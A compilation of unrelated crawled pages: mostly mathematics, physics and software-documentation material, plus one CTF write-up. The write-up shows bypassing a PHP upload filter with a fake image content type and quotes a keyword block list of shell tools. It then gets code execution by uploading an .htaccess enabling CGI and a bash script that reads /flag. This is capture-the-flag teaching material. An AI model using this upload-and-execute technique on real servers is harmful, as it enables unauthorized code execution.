\begin{frame} \frametitle{Main findings from JRuby micro-indy benchmark } \begin{itemize}[<+->] \item \textbf{Transformation Pattern} A small number of transformation patterns occur much more frequently than the others. \only<1>{Another content (table) is here....} \item \textbf{Instance Pattern} A large number of equivalencies (mean 28.9\%) exist among method handles.%, and a method handle has 7.4 equivalent method handles on average. \item \textbf{Instance Pattern} The distribution for the equivalent MHG set's size is uneven. \end{itemize} \end{frame} \end{document}
2019-10-19 07:55:08
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.44831666350364685, "perplexity": 5830.5156820786315}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-43/segments/1570986692126.27/warc/CC-MAIN-20191019063516-20191019091016-00412.warc.gz"}
http://math.stackexchange.com/questions/272994/question-about-the-quotientgroup-and-index-of-normal-subgroups
# Question about the quotientgroup and index of normal subgroups. $G$ group , $N \lhd G$ en $K \lhd G/N$ then there is a group $N \leq K' \lhd G$ such that $K'/N = K$, i.e. $K'$ is the group with all representants of $K$ in $G/N$. Is it then true that $[G:K'] = [G/N : K]$. Let $A' := \{gK' \mid g\in G\}$ and $A := \{(gN)K \mid gN \in G/N \}$. Then define $$f: A' \rightarrow A: gK' \mapsto (gN)K$$ Assume $f(gK') = f(hK')$ then $(gN)K = (hN)K$ thus $(hN)^{-1}(gN) = (h^{-1}gN) \in K$ and thus $h^{-1}g \in K'$ so that $hK' = gK'$ such that $f$ is injective. Further is $f$ surjective because let $(gN)K \in A$ then $f(gK') =(gN)K$. This proves that $|A| = |A'|$ and thus $[G:K']=[G/N:K]$. Is this a correct proof ? - You don't mean $G/K'=K$, you mean $K'/N=K$. – Derek Holt Jan 8 '13 at 21:28 Your statement is equivalent to $\frac{|G|}{|K'|}=\frac{|G|/|N|}{|G|/|K'|}=\frac{|K'|}{|N|}$, which is not true in general. For example let $G = \mathbb{Z}_{12}$, $N=\langle 6 \rangle$, so $G/N\cong \mathbb{Z}_6$. The subgroup $K$ isomorphic to $\mathbb{Z}_2$ of $G/N$ corresponds to $K'=\langle 2 \rangle$ in $G$, but $$2=[G:K] \not= [G/N:K]=3.$$ I think the theorem you're looking for is $[G:K']=[G:K'][K':N]$. You should be able to prove this with the same sort of method you were trying, by setting up a surjection $G/N\rightarrow G/K'$. If I understand your writing correctly, the mistake occurs when you define $f(gK')=(gN)K$ but then immediately afterwards state $f(gK')=g(hK')$. How is $(gN)K=g(hK')$? – Alexander Gruber Jan 8 '13 at 21:39 In other words the error is that you've assumed that $G/K'=K$ but what you really want is for $K'/N=K$. – Alexander Gruber Jan 8 '13 at 21:40 $f(gK′)=g(hK′)$ is (was) a typo. With the last comment you are right. – Andre Jan 8 '13 at 21:43
2016-02-12 21:22:17
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9841874837875366, "perplexity": 185.46370953890033}, "config": {"markdown_headings": true, "markdown_code": false, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2016-07/segments/1454701165302.57/warc/CC-MAIN-20160205193925-00329-ip-10-236-182-209.ec2.internal.warc.gz"}
https://questions.examside.com/past-years/jee/question/a-satellite-is-moving-in-a-low-nearly-circular-orbit-around-jee-main-physics-gravitation-q5fyvuewnqw9pqbo
1 JEE Main 2020 (Online) 3rd September Morning Slot MCQ (Single Correct Answer) +4 -1 A satellite is moving in a low nearly circular orbit around the earth. Its radius is roughly equal to that of the earth’s radius Re . By firing rockets attached to it, its speed is instantaneously increased in the direction of its motion so that it become $$\sqrt {{3 \over 2}}$$ times larger. Due to this the farthest distance from the centre of the earth that the satellite reaches is R. Value of R is : A 2Re B 3Re C 4Re D 2.5Re 2 JEE Main 2020 (Online) 2nd September Evening Slot MCQ (Single Correct Answer) +4 -1 The height ‘h’ at which the weight of a body will be the same as that at the same depth ‘h’ from the surface of the earth is (Radius of the earth is R and effect of the rotation of the earth is neglected) A $${R \over 2}$$ B $${{\sqrt 5 R - R} \over 2}$$ C $${{\sqrt 3 R - R} \over 2}$$ D $${{\sqrt 5 } \over 2}R - R$$ 3 JEE Main 2020 (Online) 2nd September Morning Slot MCQ (Single Correct Answer) +4 -1 The mass density of a spherical galaxy varies as $${K \over r}$$ over a large distance ‘r’ from its centre. In that region, a small star is in a circular orbit of radius R. Then the period of revolution, T depends on R as : A T2 $$\propto$$ R B T2 $$\propto$$ R3 C T $$\propto$$ R D T2 $$\propto$$ $${1 \over {{R^3}}}$$ 4 JEE Main 2020 (Online) 9th January Evening Slot MCQ (Single Correct Answer) +4 -1 Planet A has mass M and radius R. Planet B has half the mass and half the radius of Planet A. If the escape velocities from the Planets A and B are vA and vB, respectively, then $${{{v_A}} \over {{v_B}}} = {n \over 4}$$. The value of n is : A 1 B 2 C 4 D 3 JEE Main Subjects Physics Mechanics Electricity Optics Modern Physics Chemistry Physical Chemistry Inorganic Chemistry Organic Chemistry Mathematics Algebra Trigonometry Coordinate Geometry Calculus EXAM MAP Joint Entrance Examination JEE MainJEE AdvancedWB JEE Graduate Aptitude Test in Engineering GATE CSEGATE ECEGATE EEGATE MEGATE CEGATE PIGATE IN Medical NEET
2023-03-27 11:30:13
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.789736807346344, "perplexity": 2232.2533358464825}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2023-14/segments/1679296948620.60/warc/CC-MAIN-20230327092225-20230327122225-00444.warc.gz"}
https://www.themathcitadel.com/2019/10/
### Browsed byMonth: October 2019 Applications of Reflections: Taking a Group to its “Abelian” Form ## Applications of Reflections: Taking a Group to its “Abelian” Form In continuing the exploration of explicit applications and examples of category-theoretic concepts, we highlight the versatility of reflections and reflective subcategories. This concept can be used to perform all kinds of desired actions on a category to yield a subcategory that “nicer” in some way. This article explores how we can use reflections to make groups abelian. Please see the previous article by Traylor and Fadeev for the definition of a category and other properties. Definition (Subcategory): A category $\mathbf{A}$ is a subcategory of a category $\mathbf{B}$ if (1) $\mathrm{Ob}(\mathbf{A}) \subseteq \mathrm{Ob}(\mathbf{B})$ (2) for each $A, A' \in \mathrm{Ob}(\mathbf{A})$, $\mathrm{hom}_{\mathbf{A}}(A,A') \subseteq \mathrm{hom}_{\mathbf{B}}(A,A')$ (3) for each $A \in \mathrm{Ob}(\mathbf{A})$, the $\mathbf{B}-$identity on $A$ is the same as the $\mathbf{A}-$identity on $A$. (4) composition in $\mathbf{A}$ is the restriction of composition in $\mathbf{B}$ to the morphisms of $\mathbf{A}$ Adámek et al, Abstract and Concrete Categories(1990) Point by point, we’ll pick the definition apart. The first part is pretty clear. The collection of objects in a subcategory is contained in the collection of objects in its “parent”. The second criterion says that the set of morphisms from one object $A$ to another object $A'$ inside the littler category $\mathbf{A}$ should be a subset of all the morphisms from the same $A$ to the same $A'$, but inside $\mathbf{B}$. That is, there are morphisms from $A \to A'$ in $\mathbf{B}$ that won’t live in the subcategory $\mathbf{A}$. The third criterion just states that the identity morphisms on objects should match in both categories. The final criterion tells us that composition inside the subcategory $\mathbf{A}$ only “works” on the morphisms inside $\mathbf{A}$, but is otherwise the same composition as in $\mathbf{B}$. We just only perform compositions on morphisms in $\mathbf{A}$ when we’re in $\mathbf{A}$. We now define a reflection. Definition ($A-$ reflection) Let $\mathbf{A}$ be a subcategory of $\mathbf{B}$, and let $B \in \mathrm{Ob}(\mathbf{B})$. (1) An $\mathbf{A}-$ reflection for $B$ is a morphism $B \xrightarrow{r} A$ from $B$ to $A \in \mathrm{Ob}(\mathbf{A})$ such that for any morphism $B \xrightarrow{f} A'$ from $B$ to $A' \in \mathrm{Ob}(\mathbf{A})$ there exists a unique $f': A \to A'$ such that $f = f' \circ r$. (2) $\mathbf{A}$ is a reflective subcategory for $\mathbf{B}$ if each $\mathbf{B}-$ object has an $\mathbf{A}-$reflection. Currently, this definition seems a bit abstract. The following sections will illustrate concrete examples of reflections to understand this definition better. ## Taking a Group to Its Abelian Form ### The Category $\mathbf{Grp}$ For this example, we’ll be working with the category of groups, $\mathbf{Grp}$. The objects in this category are groups, and the morphisms are group homomorphisms. Some elements of this category are: • $(\mathbb{R}, +) \xrightarrow{\phi} (\mathbb{R}^{+}, \cdot)$, $\phi(x) = e^{x}$. The real numbers under addition and the positive real numbers under multiplication are both groups, so they’re objects in this category. $\phi$ here is a group homomorphism1, so it’s a morphism in $\mathbf{Grp}$. • The dihedral group $D_{6}$, and the permutation group $S_{3}$ are also objects in this class. Recall that the dihedral group $D_{6}$ is commonly visualized using the symmetries of an equilateral triangle2, but is commonly given using the following presentation: $$D_{6} = \langle r,s : r^{3} = s^{2} = 1, sr = r^{-1}s\rangle$$ Here, we see that $D_{6}$ is generated by two elements $r$ and $s$ ($r$ is the rotation by $2\pi/3$, and $s$ is one of the reflection lines). $S_{3}$ is the set of permutations on 3 elements– all permutations of the integers $\{1,2,3\}$. Both of these are groups, and both have 6 elements. If we define $\phi: \begin{cases} r \to (123) \\ s \to (12)\end{cases}$ Then $\phi$ is a group homomorphism that takes $D_{6}$ to $S_{3}$, and is also thus a morphism in $\mathbf{Grp}$ • As one last example, let $\mathrm{GL}_{2}(\mathbb{R})$ be the general linear group of degree $2$. This is the group of invertible $2\times 2$ matrices with real entries. Then we can create a group homomorphism $\phi: D_{6} \to \mathrm{GL}_{2}(\mathbb{R})$ by letting $$\phi(r) = \begin{bmatrix}\cos(\theta) & -\sin(\theta)\\ \sin(\theta) & \cos(\theta)\end{bmatrix} \qquad \phi(s) = \begin{bmatrix} 0 & 1\\ 1 & 0 \end{bmatrix}$$ so this $\phi$ is also a morphism in $\mathbf{Grp}$. ### The Category $\mathbf{Ab}$ A subcategory of $\mathbf{Grp}$ is $\mathbf{Ab}$, the category of abelian groups. Morphisms are again group homomorphisms, but this time we are only looking at morphisms between abelian groups. Some examples: (1) $(\mathbb{R}, +) \xrightarrow{\phi} (\mathbb{R}^{+}, \cdot)$, $\phi(x) = e^{x}$. The real numbers under addition, and the positive real numbers under multiplication are abelian groups, so they’re in the subcategory $\mathbf{Ab}$. (2) $(\mathbb{Z}_{2} \times \mathbb{Z}_{2}, +)$ and $(\mathbb{Z}_{4}, +)$ are also abelian groups. We can define a group homomorphism $\psi: \mathbb{Z}_{2} \times \mathbb{Z}_{2} \to \mathbb{Z}_{4}$ by $$\psi: \begin{cases} (0,0) \to 0 \\ (1,0) \to 1\\ (0,1) \to 2 \\ (1,1) \to 3\end{cases}$$, so $\psi$ is in the collection of morphisms in $\mathbf{Ab}$. Of course, it’s also in the morphisms of $\mathbf{Grp}$ as well. (3) $D_{6}$ is not commutative, so it’s not an object in $\mathbf{Ab}$ (4)$\mathrm{GL}_{2}$ under matrix multiplication is not abelian, because matrix multiplication is not a commutative operation. So neither this group nor the group homomorphism between $D_{6}$ and $\mathrm{GL}_{2}$ are in $\mathbf{Ab}.$ ### Creating the Commutator Subgroup We now discuss the commutator element. The commutator of two elements $g,h$ in a group, denoted $[g,h]$ is given by $[g,h] = g^{-1}h^{-1}gh$. Remark: The order matters here. Let’s work with a nice easy group of matrices. Let $$G =\left\{I_{2},\begin{bmatrix}0&1\\1&0\end{bmatrix},\begin{bmatrix}0&1\\-1&-1\end{bmatrix},\begin{bmatrix}-1&-1\\0&1\end{bmatrix},\begin{bmatrix}-1&-1\\1&0\end{bmatrix},\begin{bmatrix}1 & 0\\-1&-1\end{bmatrix}\right\}$$ under matrix multiplication. We’ll name these matrices $\{I,A,B,C,D,K\}$ respectively. This group is not commutative, as shown in the group table below: $\cdot$ I A B C D K I I A B C D K A A I C B K D B B K D A I C C C D K I A B D D C I K B A K K B A D C I Next, we’re going to form the commutator subgroup, which is the subgroup of $G$ consisting of all commutators of $G$. Let’s call this subgroup $\tilde{G}$. The quotient $G/\tilde{G}$ is always an abelian group, so “quotienting out by” $\tilde{G}$ and working with the cosets gives us an “abelian version” of our previously non-abelian group. We’ll calculate a few commutator elements to demonstrate how, but will not run through every combination. \begin{aligned}[I,X]&=[X,I]=I\\ [A,B]&=A^{-1}B^{-1}AB=ADAB=D\\ [B,A]&=B^{-1}A^{-1}BA=DABA=B\\ [C,D]&=C^{-1}D^{-1}CD=CBCD=B\\ \vdots\end{aligned} Continuing with all combinations, we find that there are only three commutator elements: $\{I, B, D\}$. Thus3 $\tilde{G} = \{I,B,D\}$. Now, $G/\tilde{G}$ gives us the left cosets of $\tilde{G}$: \begin{aligned}A\tilde{G}&= C\tilde{G}=K\tilde{G}=\{A,C,K\}\\ B\tilde{G}&= D\tilde{G}=I\tilde{G}=\{I,B,D\}\end{aligned}Thus, the commutator subgroup is $G/\tilde{G} = \{A\tilde{G}, \tilde{G}\}$. This two-element group is a bit dull, admittedly, but it certainly is abelian, with the identity element as $\tilde{G}$. ### Back to Reflections Something else we can do with this little two-element group is map it to $(\mathbb{Z}_{2}, +)$ via the homomorphism $\phi: G/\tilde{G} \to \mathbb{Z}_{2}$, where $\phi(\tilde{G}) = 0$, and $\phi(A\tilde{G}) = 1$ What does any of this have to do with reflections? Recall that $G \in \mathrm{Ob}(\mathbf{Grp})$, but not in $\mathrm{Ob}(\mathbf{Ab})$. $G/\tilde{G}$ is in $\mathrm{Ob}(\mathbf{Ab})$, and so is $\mathbb{Z}_{2}$ A reflection for $G$ into $\mathbf{Ab}$ is a morphism $r$ such that for any morphism $\psi:G \to A'$, $A' \in \mathrm{Ob}(\mathbf{Ab})$, we can find a morphism $\phi$ completely contained in $\mathbf{Ab}$ such that $\psi = \phi \circ r$ Let $A'= \mathbb{Z}_{2}$, and define $\psi: G \to \mathbb{Z}_{2}$ by $$\psi: \begin{cases}A \to 1 \\ C \to 1 \\ K \to 1 \\ B \to 0\\D \to 0 \\I \to 0\end{cases}$$ This is certainly a homomorphism ($\psi(XY) = \psi(X)\psi(Y)$). What if we could “bounce” this group $G$ off another group $H$ in $\mathbf{Ab}$, then move from $H$ to $\mathbb{Z}_{2}$? That might reveal a little more about $\psi$ than just the seemingly contrived definition we put forth. Let $r: G \to G/\tilde{G}$ be the canonical map sending each element of $G$ to the appropriate coset. That is $r(A) = A\tilde{G}$, $r(B) = \tilde{G}$, etc. Then the image of $r$ is $G/\tilde{G}$, and $\phi$ as defined above is the unique morphism that will take $G/\tilde{G}$ to $\mathbb{Z}_{2}$ such that $\psi = \phi \circ r$ One reflection, $r$, taking $G$ to some object $A$ in $\mathbf{Ab}$. Grab a morphism $\psi$ from $G$ to somewhere else in $\mathbf{Ab}$ (we picked $\mathbb{Z_{2}}$). Then we have to be able to find a unique $\phi$ such that $\psi$ decomposes into the composition of $r$ with that $\phi$. This same $r$ (and thus the same $A$) should be able to perform this action for any $A'$, any $\psi$. In our case, the reflection is the canonical map from $G$ to its commutator subgroup. ## Conclusion Reflections can perform many different actions to take objects in one category to objects in a subcategory. We focused on reflections making things “abelian” in a nice way, which helped reveal some structures that would have otherwise been hidden.
2020-05-27 05:32:08
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 167, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.942571759223938, "perplexity": 224.0694500916482}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-24/segments/1590347392141.7/warc/CC-MAIN-20200527044512-20200527074512-00501.warc.gz"}
http://math.stackexchange.com/questions/700046/how-to-solve-summation-problem
# How to solve summation problem? I want to evaluate " sum f(x) g'(x)" the limits of sum goes from 0---> infinity. I know how to solve this problem using integration by substitution method. I also know that using Riemann sum we can convert summation into integration, but I am still curious whether the Riemann sum can be used to convert summation problem (as given above) into its equivalent integration by substitution ? Regards, uzma - So you mean $\sum_{x=0}^\infty f(x)g'(x)$ ? I don't think you can simply write that as an integral, though you can test it for convergence using the integral test. –  ljfa Mar 5 at 6:51
2014-09-17 23:46:20
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9883163571357727, "perplexity": 339.65509810320043}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2014-41/segments/1410657124771.92/warc/CC-MAIN-20140914011204-00257-ip-10-196-40-205.us-west-1.compute.internal.warc.gz"}
https://ctftime.org/writeup/20442
Tags: web cgi Rating: 5.0 # check in (web, 120pts) > welcome to 2020De1ctf > > http://129.204.21.115 The site allows you to upload a single file to the server. The headers from the server indicate that we're working with PHP: Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 We attempted to upload several file types and came up with the following rules: * PHP file extensions are banned (filename error) * You can upload any other extension by setting the file type in the request to image/jpeg (if you don't you get filetype error) * Files cannot contain perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet * You are allocated a random directory that all your files are uploaded to Knowing this, we can upload a file that doesn't have an image extension by changing its content type to an image: js const axios = require('axios'); const FormData = require('form-data'); const uploadFile = (contents, filename) => { const data = new FormData(); filename, contentType: 'image/jpeg' }); .then(res => console.log(res.data)) .catch(console.error); }; Navigating to http://129.204.21.115/uploads/d22230980be937c106887cabaf8507aa/test.txt returns test as expected. We now have the ability to upload any non-PHP files but the files are echoed back to us so we can't execute anything. We stumbled around here for a while before realising that the server is running [Apache HTTP Server](https://httpd.apache.org/) and .htaccess files allow you to override configuration for the specific directory. This makes sense considering all our files are uploaded to the same directory. Reading the [.htaccess documentation](https://httpd.apache.org/docs/2.4/howto/htaccess.html#cgi) we find that you can enable CGI execution, so we should be able to execute a bash script and search for the flag. Note that you need to make sure your script .htaccess Options +ExecCGI solve.sh shell script #!/bin/bash echo "Content-Type: text/plain" echo "" ls -lah / exit 0 Uploading these files and accessing the bash script shows us the flag is at /flag: total 80K drwxr-xr-x 1 root root 4.0K May 4 08:15 . drwxr-xr-x 1 root root 4.0K May 4 08:15 .. -rwxr-xr-x 1 root root 0 May 4 08:15 .dockerenv -rw-r--r-- 1 root root 12K Oct 1 2019 anaconda-post.log lrwxrwxrwx 1 root root 7 Oct 1 2019 bin -> usr/bin drwxr-xr-x 3 root root 4.0K May 1 11:09 boot drwxr-xr-x 5 root root 340 May 4 08:15 dev drwxr-xr-x 1 root root 4.0K May 4 08:15 etc -rw-r-xr-x 1 root root 42 May 1 13:17 flag ... Change ls -lah / to cat /flag and reupload the script to get the flag: De1ctf{cG1_cG1_cg1_857_857_cgll111ll11lll} Original writeup (https://github.com/0x1-ctf/ctf-writeups/tree/master/202005-de1ctf/web-check-in).
2021-07-29 06:51:24
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.2001061588525772, "perplexity": 10319.582072470615}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-31/segments/1627046153816.3/warc/CC-MAIN-20210729043158-20210729073158-00696.warc.gz"}
https://de.maplesoft.com/support/help/errors/view.aspx?path=Maplets/Elements/GridCell2&L=G
Grid Cell2 - Maple Help Maplets[Elements] GridCell2 specify an entry in a border layout Calling Sequence GridCell2(opts) Parameters opts - equation(s) of the form option=value where option is one of constraint, or value; specify options for the GridCell2 element Description • The GridCell2 layout element specifies an entry in a border layout. • A GridCell2 element can contain BoxLayout, GridLayout, or window body elements to specify the value option. • A GridCell2 element can only be contained in a BorderLayout element. • The following table describes the control and use of the GridCell2 element options. An x in the I column indicates that the option can be initialized, that is, specified in the calling sequence (element definition). An x in the R column indicates that the option is required in the calling sequence. An x in the G column indicates that the option can be read, that is, retrieved by using the Get tool. An x in the S column indicates that the option can be written, that is, set by using the SetOption element or the Set tool. Option I R G S constraint x value x • The opts argument can contain one or more of the following equations that set Maplet application options. constraint = west, east, north, south, or center Specifies the location of the cell in the border layout. The constraint must be unique to the border layout, and if not specified, it defaults to center. value = window body, BoxLayout, or GridLayout element, or reference to such an element (name or string) The Maplet application element that appears in the grid cell. Examples > $\mathrm{with}\left(\mathrm{Maplets}\left[\mathrm{Elements}\right]\right):$ > $\mathrm{maplet}≔\mathrm{Maplet}\left(\mathrm{BorderLayout}\left(\mathrm{GridCell2}\left(\mathrm{constraint}=\mathrm{east},\mathrm{Label}\left("East"\right)\right),\mathrm{GridCell2}\left(\mathrm{constraint}=\mathrm{west},\mathrm{Label}\left("West"\right)\right),\mathrm{GridCell2}\left(\mathrm{constraint}=\mathrm{north},\mathrm{Label}\left("North"\right)\right),\mathrm{GridCell2}\left(\mathrm{constraint}=\mathrm{south},\mathrm{Label}\left("South"\right)\right),\mathrm{GridCell2}\left(\mathrm{constraint}=\mathrm{center},\mathrm{Label}\left("Center"\right)\right)\right)\right):$ > $\mathrm{Maplets}\left[\mathrm{Display}\right]\left(\mathrm{maplet}\right)$
2023-02-08 21:25:56
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 3, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9350889325141907, "perplexity": 1822.329366680493}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2023-06/segments/1674764500904.44/warc/CC-MAIN-20230208191211-20230208221211-00361.warc.gz"}
http://docs.itascacg.com/3dec700/3dec/block/doc/manual/block_manual/block_fish/block.zone/fish_block.zone.rotation.inc.html
# block.zone.strain.rotation.inc Syntax ## Tensor Access t = block.zone.strain.inc(bzp<,i1<,i2>>) Get the zone rotational increment tensor, based on the current displacement field. Returns: t or f - zone rotational increment tensor, or, if the optional indices are supplied, the specified tensor value bzp - block zone pointer i1 - optional tensor index that, if used alone, ranges from 1 to 6 and returns the the $$xx$$, $$yy$$, $$zz$$, $$xy$$, $$xz$$, and $$yz$$ tensor values, respectively. i2 - option tensor index that must be given with i1. In this case, i1 corresponds to the first index of the tensor position and i2 to the second in the row/column format. For instance, i1 = 1 and i2 = 3 returns the $$xz$$ tensor value. ## Value Access f = zone.strain.inc.xx(bzp) Get the $$xx$$-value of the zone rotational increment based on the current displacement field. Returns: f - $$xx$$-value of the zone rotational increment tensor bzp - block zone pointer f = zone.strain.inc.xy(bzp) Get the $$xy$$-value of the zone rotational increment based on the current displacement field. Returns: f - $$xy$$-value of the zone rotational increment tensor bzp - block zone pointer f = zone.strain.inc.xz(bzp) Get the $$xz$$-value of the zone rotational increment based on the current displacement field. Returns: f - $$xz$$-value of the zone rotational increment tensor bzp - block zone pointer f = zone.strain.inc.yy(bzp) Get the $$yy$$-value of the zone rotational increment based on the current displacement field. Returns: f - $$yy$$-value of the zone rotational increment tensor bzp - block zone pointer f = zone.strain.inc.yz(bzp) Get the $$yz$$-value of the zone rotational increment based on the current displacement field. Returns: f - $$yz$$-value of the zone rotational increment tensor bzp - block zone pointer f = zone.strain.inc.zz(bzp) Get the $$zz$$-value of the zone rotational increment based on the current displacement field. Returns: f - $$zz$$-value of the zone rotational increment tensor bzp - block zone pointer
2020-10-28 18:13:19
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.4984174370765686, "perplexity": 4330.993008082428}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-45/segments/1603107900200.97/warc/CC-MAIN-20201028162226-20201028192226-00223.warc.gz"}
https://annals.math.princeton.edu/articles/10885
# Zero-cycles and $K$-theory on normal surfaces ### Abstract In this paper we prove a formula, conjectured by Bloch and Srinivas [S2], which describes the Chow group of zero cycles of a normal quasi-projective surface $X$ over a field, as an inverse limit of relative Chow groups of a desingularization $\tilde X$ relative to multiples of the exceptional divisor. We then give several applications of this result — a relative version of the famous Bloch Conjecture on $0$-cycles, the triviality of the Chow group of $0$-cycles for any $2$-dimensional normal graded $\overline{\mathbb{Q}}$-algebra (analogue of the Bloch-Beilinson Conjecture), and the analogue of the Roitman theorem for torsion $0$-cycles in characteristic $p>0$ for normal varieties (including the case of $p$-torsion). ## Authors Amalendu Krishna Vasudevan Srinivas
2021-05-18 14:50:19
